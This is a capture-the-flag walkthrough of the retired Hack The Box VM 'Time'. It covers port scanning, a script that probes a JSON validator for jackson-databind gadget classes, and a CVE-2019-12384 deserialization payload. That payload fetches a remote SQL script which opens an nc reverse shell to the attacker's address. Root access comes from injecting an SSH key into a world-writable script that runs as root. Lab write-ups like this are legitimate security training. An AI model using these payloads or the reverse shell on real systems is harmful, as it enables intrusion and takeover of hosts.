This post documents the complete walkthrough of Time, a retired vulnerable VM created by egotisticalSW and felamos, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Time is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.214 --rate=1000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-10-26 05:29:46 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.214
Discovered open port 22/tcp on 10.10.10.214
Nothing unusual with the ports. Let’s do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p22,80 -A --reason 10.10.10.214 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Interesting. I guess the only way to foothold is via the http
service. This is what it looks like.
jackson-databind
Remote Code Execution (RCE)
As you can see from above, there are two functions associated with the site: Beautify and Validate. Beautify simply prettify standard JSON input like so.
What happen when you supply the same JSON input to Validate? Suppose the JSON input is this:
{"what is love": "baby don't hurt me"}
You get an exception!
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
Hmm. Appears to be some kind of deserialization flaw to me. A quick research into jackson-databind
reveals plenty of CVEs of gadget types that could trigger a RCE. The author of jackson-databind
(@cowtowncoder) even maintains a blocklist of gadget types that aims to prevent the deserialization from taking place. Cat-and-mouse game eh?
Heck. I know the JSON validation service is vulnerable but which CVE is it?
CVE-2019-12384 - logback-core
From the blocklist implementation, we can extract out the gadget types and validate them against the validation service (no pun intended).
This is how to extract the types. Save it to gadgets.txt
.
# grep -E 's.add' SubTypeValidator.java \
| sed -r 's/s.add\("(.*)"\).*/\1/' \
| tr -d '/ ' \
| sort \
| uniq > gadgets.txt
This is the validation script.
#!/bin/bash
function check() {
GADGET=$1
printf "%-67s: " "${GADGET}"
MSG=$(curl -s \
-d "mode=2" \
--data-urlencode "data=[\"${GADGET}\", {\"\":\"\"}]" \
http://10.10.10.214 \
| grep 'Validation' \
| sed -e 's/<pre>//g' -e 's/<\/pre>//g' \
| awk -F':' '{ print $NF }')
echo $MSG | tr -d '])'
}
export -f check
check $1
Let’s give the script a shot.
# for g in $(cat gadgets.txt); do ./validate.sh $g; done | tee validation.txt
br.com.anteros.dbcp.AnterosDBCPConfig : no such class found
br.com.anteros.dbcp.AnterosDBCPDataSource : no such class found
ch.qos.logback.core.db.DriverManagerConnectionSource : "driverClass", "started", "user", "context", "password", "url"
ch.qos.logback.core.db.JNDIConnectionSource : "started", "user", "jndiLocation", "context", "password"
com.caucho.config.types.ResourceRef : no such class found
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig : no such class found
com.mchange.v2.c3p0.JndiRefForwardingDataSource : no such class found
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource : no such class found
com.mysql.cj.jdbc.admin.MiniAdmin : no such class found
com.nqadmin.rowset.JdbcRowSetImpl : no such class found
com.p6spy.engine.spy.P6DataSource : no such class found
com.pastdev.httpcomponents.configuration.JndiConfiguration : no such class found
com.sun.deploy.security.ruleset.DRSHelper : no such class found
com.sun.org.apache.bcel.internal.util.ClassLoader : no such class found
com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool : no such class found
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl : prevented for security reasons
com.sun.rowset.JdbcRowSetImpl : prevented for security reasons
com.zaxxer.hikari.HikariConfig : no such class found
com.zaxxer.hikari.HikariDataSource : no such class found
flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor : no such class found
java.rmi.server.UnicastRemoteObject : prevented for security reasons
java.util.logging.FileHandler : prevented for security reasons
javax.swing.JEditorPane : An illegal reflective access operation has occurred
javax.swing.JTextPane : An illegal reflective access operation has occurred
jodd.db.connection.DataSourceConnectionProvider : no such class found
net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup : no such class found
net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup : no such class found
net.sf.ehcache.transaction.manager.selector.GenericJndiSelector : no such class found
net.sf.ehcache.transaction.manager.selector.GlassfishSelector : no such class found
oadd.org.apache.xalan.lib.sql.JNDIConnectionPool : no such class found
oracle.jdbc.connector.OracleManagedConnectionFactory : no such class found
oracle.jdbc.rowset.OracleJDBCRowSet : no such class found
oracle.jms.AQjmsQueueConnectionFactory : no such class found
oracle.jms.AQjmsTopicConnectionFactory : no such class found
oracle.jms.AQjmsXAConnectionFactory : no such class found
oracle.jms.AQjmsXAQueueConnectionFactory : no such class found
oracle.jms.AQjmsXATopicConnectionFactory : no such class found
org.aoju.bus.proxy.provider.remoting.RmiProvider : no such class found
org.aoju.bus.proxy.provider.RmiProvider : no such class found
org.apache.activemq.ActiveMQConnectionFactory : no such class found
org.apache.activemq.ActiveMQXAConnectionFactory : no such class found
org.apache.activemq.jms.pool.JcaPooledConnectionFactory : no such class found
org.apache.activemq.jms.pool.XaPooledConnectionFactory : no such class found
org.apache.activemq.pool.JcaPooledConnectionFactory : no such class found
org.apache.activemq.pool.PooledConnectionFactory : no such class found
org.apache.activemq.pool.XaPooledConnectionFactory : no such class found
org.apache.activemq.spring.ActiveMQConnectionFactory : no such class found
org.apache.activemq.spring.ActiveMQXAConnectionFactory : no such class found
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory: no such class found
org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory: no such class found
org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl : no such class found
org.apache.axis2.transport.jms.JMSOutTransportInfo : no such class found
org.apache.commons.collections4.functors.InstantiateTransformer : no such class found
org.apache.commons.collections4.functors.InvokerTransformer : no such class found
org.apache.commons.collections.functors.InstantiateTransformer : no such class found
org.apache.commons.collections.functors.InvokerTransformer : no such class found
org.apache.commons.configuration2.JNDIConfiguration : no such class found
org.apache.commons.configuration.JNDIConfiguration : no such class found
org.apache.commons.dbcp.datasources.PerUserPoolDataSource : no such class found
org.apache.commons.dbcp.datasources.SharedPoolDataSource : no such class found
org.apache.commons.jelly.impl.Embedded : no such class found
org.apache.commons.proxy.provider.remoting.RmiProvider : no such class found
org.apache.cxf.jaxrs.provider.XSLTJaxbProvider : no such class found
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig : no such class found
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory : no such class found
org.apache.ibatis.parsing.XPathParser : no such class found
org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory : no such class found
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup : no such class found
org.apache.log4j.receivers.db.DriverManagerConnectionSource : no such class found
org.apache.log4j.receivers.db.JNDIConnectionSource : no such class found
org.apache.openjpa.ee.JNDIManagedRuntime : no such class found
org.apache.openjpa.ee.RegistryManagedRuntime : no such class found
org.apache.openjpa.ee.WASRegistryManagedRuntime : no such class found
org.apache.shiro.jndi.JndiObjectFactory : no such class found
org.apache.shiro.realm.jndi.JndiRealmFactory : no such class found
org.apache.tomcat.dbcp.dbcp2.BasicDataSource : no such class found
org.apache.xalan.lib.sql.JNDIConnectionPool : no such class found
org.apache.xalan.xsltc.trax.TemplatesImpl : no such class found
org.apache.xbean.propertyeditor.JndiConverter : no such class found
org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl : no such class found
org.codehaus.groovy.runtime.ConvertedClosure : no such class found
org.codehaus.groovy.runtime.MethodClosure : no such class found
org.hibernate.jmx.StatisticsService : no such class found
org.jboss.util.propertyeditor.DocumentEditor : no such class found
org.jdom2.transform.XSLTransformer : no such class found
org.jdom.transform.XSLTransformer : no such class found
org.jsecurity.realm.jndi.JndiRealmFactory : no such class found
org.quartz.utils.JNDIConnectionProvider : no such class found
org.slf4j.ext.EventData : no such class found
org.springframework.aop.config.MethodLocatingFactoryBean : no such class found
org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor : no such class found
org.springframework.beans.factory.config.BeanReferenceFactoryBean : no such class found
org.springframework.beans.factory.config.PropertyPathFactoryBean : no such class found
org.springframework.beans.factory.ObjectFactory : no such class found
From the script’s output, we know that logback-core
is used in the backend of the validation service. There are two CVEs associated with logback-core
here: CVE-2019-12384 and CVE-2019-14439. CVE-2019-12384 is the less complicated one and I’ll use it to gain a foothold onto the remote machine.
Foothold
Here’s my game plan:
- Host
inject.sql
with Python 3http.server
module. Edit the payload to run a reverse shell.
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('rm -rf /tmp/p; mkfifo /tmp/p; /bin/bash </tmp/p | nc 10.10.14.62 1234 >/tmp/p')
- Exploit the validation service with JSON string to trigger the deserialization.
Here’s the JSON exploit string.
[
"ch.qos.logback.core.db.DriverManagerConnectionSource",
{
"url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.62:8000/inject.sql'"
}
]
If everything goes well, this is what you should get.
Excellent.
Getting user.txt
The file user.txt
is at pericles
’ home directory.
Privilege Escalation
During enumeration of pericles
’ account, I notice a world-writable file at /usr/bin/timer_backup.sh
.
On top of that, I also notice a systemd
system service web_backup
that effectively runs /usr/bin/timer_backup.sh
every ten seconds.
[Unit]
Description=Creates backups of the website
[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target
[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
[Unit]
Description=Backup of the website
Requires=timer_backup.service
[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms
[Install]
WantedBy=timers.target
Privilege escalation in this case is extremely easy. Since it’s a system service, /usr/bin/timer_backup.sh
is executed as root
. Simply inject a SSH private key we control into /usr/bin/timer_backup.sh
and call it a day. However, take note that the service runs every ten seconds. We need to act fast and remove any superflous entries in authorized_keys
.
Perfect.
Getting root.txt
Getting root.txt
is trivial with a root
shell.